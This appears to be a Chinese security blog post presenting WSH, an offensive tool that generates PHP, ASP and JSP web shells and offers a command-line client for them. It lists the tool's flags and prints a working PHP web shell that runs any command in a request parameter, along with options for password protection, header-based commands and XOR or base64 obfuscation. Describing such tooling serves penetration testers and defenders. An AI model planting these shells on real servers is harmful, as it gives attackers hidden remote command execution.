WSH:一款功能强大的Web Shell生成器和命令行接口工具

VSole2023-05-15 08:59:03

 关于WSH 

WSH是一款功能强大的Web Shell生成器和命令行接口工具。我们考虑到只用一个HTTP客户端来跟Webshell交互其实是一件很痛苦的事,我们需要在表格中输入命令,然后再点各种按钮。因此,我们开发出了WSH,我们可以轻松将其嵌入到我们的工作流中,并在命令行终端运行。

WSH的客户端支持命令历史记录和日志记录功能,并且可以跟以前部署的标准Webshell交互。生成器使用了PHP、ASP和JSP来创建Webshell。它们使用随机变量生成,因此每一个都拥有单独的哈希。它们可以使用白名单或密码进行配置,并允许通过自定义Header和参数进行发送。

生成器和客户端可以通过命令行参数或配置文件来进行配置,以允许我们保存适合自己的配置,而无需进行额外多次配置。配置后,客户端和生成器将使用相同的配置文件。

 功能介绍 

  • 通过命令行跟部署的Webshell交互;
  • 日志记录;
  • 使用PHP、JSP和ASP生成Webshell;
  • IP白名单;
  • 密码保护;
  • 通过自定义Header和参数发送命令;
  • 文件上传/下载;
  • 针对ASP或PHP版本的Webshell进行Base64编码;
  • 针对ASP或PHP版本的Webshell进行异或加密;

 工具下载 

广大研究人员可以使用下列命令将该项目源码克隆至本地:

git clone https://github.com/EatonChips/wsh.git

 工具使用 

连接

wsh <URL> [flags]
-X, --method string        HTTP method: GET, POST, PUT, PATCH, DELETE (default "GET")
    --param string         Parameter for sending command
    --header string        Header for sending command
-P, --params strings       HTTP request parameters
-H, --headers strings      HTTP request headers
-c, --config string        Config file
-k, --ignore-ssl           Ignore invalid certs
    --log string           Log file
    --prefix string        Prepend command: 'cmd /c', 'powershell.exe', 'bash'
    --timeout int          Request timeout in seconds (default 10)
    --trim-prefix string   Trim output prefix
    --trim-suffix string   Trim output suffix
-h, --help                 help for wsh

生成

wsh generate <language> [flags]
wsh g <language> [flags]
 
-X, --method string        HTTP method (GET,POST,PUT,PATCH,DELETE) (default "GET")
-p, --param string         Parameter for sending command
    --header string        Header for sending command
-w, --whitelist strings    IP addresses to whitelist
-o, --outfile string       Output file
    --no-file              Disable file upload/download capabilities
    --pass string          Password protect shell
    --pass-header string   Header for sending password
    --pass-param string    Parameter for sending password
    --xor-header string    Header for sending xor key
    --xor-key string       Key for xor encryption
    --xor-param string     Parameter for sending xor key
    --base64               Base64 encode shell
    --minify               Minify webshell code
-t, --template string      Webshell template file
-h, --help                 help for generate

客户端使用/文件IO

WSH中所有Webshell都需要实现相同的上传/下载逻辑:

$ wsh 127.0.0.1:8080/test.php --param cmd
127.0.0.1> help
get <remote filepath> [local filepath]  Download file
put <local filepath> [remote filepath]  Upload file
clear              Clear screen
exit   
exit                      Exits shell
          

 生成器样例 

简单的Shell

下列命令可以生成一个简单的PHP Webshell,并跟其进行交互:

$ wsh generate php --param cmd --no-file -o shell.php
Created shell at shell.php.
$ wsh 127.0.0.1:8080/shell.php --param cmd
<?php
  $MfOb = $_REQUEST['cmd'];
  $MfOb = trim($MfOb);
  system($MfOb);
  die;
?>

我们还可以通过HTTP Header来发送命令:

$ wsh generate php --no-file --header user-agent  -o shell.php
Created shell at shell.php.
$ wsh 127.0.0.1:8080/shell.php --header user-agent

白名单设置

$ wsh generate php --no-file --param cmd -w 127.0.0.1,10.0.23.3 -w 12.4.22.3 -o shell.php

密码保护

我们还可以通过Header或参数来发送密码:

$ wsh generate php --no-file --param cmd --pass S3cr3t --pass-param pass
$ wsh 127.0.0.1:8080/shell.php --param cmd -P pass:S3cr3t
$ wsh generate php --no-file --param cmd --pass S3cr3t --pass-header pass-header
$ wsh 127.0.0.1:8080/shell.php --param cmd -H pass-header:S3cr3t

 项目地址 

WSH:https://github.com/EatonChips/wsh

命令行shell
本作品采用《CC 协议》,转载必须注明作者和本文链接
何为powershell执行策略PowerShell 是一个跨平台的任务自动化解决方案,由命令行 shell、脚本语言和配置管理框架组成。PowerShell 在 Windows、Linux 和 macOS 上运行。 由于powershell有以下性质,往往受到管理员或者安全人员的青睐。
由于powershell有以下性质,往往受到管理员或者安全人员的青睐。PowerShell 提供了 Restricted、AllSigned、RemoteSigned、Unrestricted、Bypass、Undefined 六种类型的执行策略。
这凸显了开发检测恶意 PowerShell 命令的有效方法的迫切需要。在这项工作中,我们通过实施几个新颖的恶意 PowerShell 命令检测器并评估它们的性能来应对这一挑战。在这项工作中,我们使用 AMSI 提供的信息对恶意 PowerShell 代码检测进行了首次研究。
VMware vCenter漏洞实战利用总结
更多地使用工业蜂窝网关和路由器会使 IIoT 设备暴露给攻击者并增加 OT 网络的攻击面。
getshell学习总结
2022-06-07 08:05:41
上传、数据库备份、配置插马 关于各种带有漏洞的应用以及OWASP Top10常规漏洞需要不断的积累,打造自己的核心知识库,道路且长。本文仅记录最近对常见cms后台getshell的学习总结
GETSHELL学习总结
2021-12-17 06:53:12
一、方法分类 1.带有漏洞的应用 redis 、tomcat、解析漏洞、编辑器、FTP 2.常规漏洞 sql注入、上传、文件包含、命令执行、Struts2、代码反序列化 3.后台拿shell 上传、数据库备份、配置插马 关于各种带有漏洞的应用以及OWASP Top10常规漏洞需要不断的积累,打造自己的核心知识库,道路且长。本文仅记录最近对常见cms后台getshell的学习总结
Vcenter一般指VMware vCenter Server,其提供了一个可伸缩、可扩展的平台,为虚拟化管理奠定了基础,可集中管理VMware vSphere环境,与其他管理平台相比,极大地提高了IT管理员对虚拟环境的控制,Vcenter可以使管理员从一个位置深入了解虚拟基础架构的集群、主机、虚拟机、存储、客户操作系统和其他关键组件等所有信息。
VSole
网络安全专家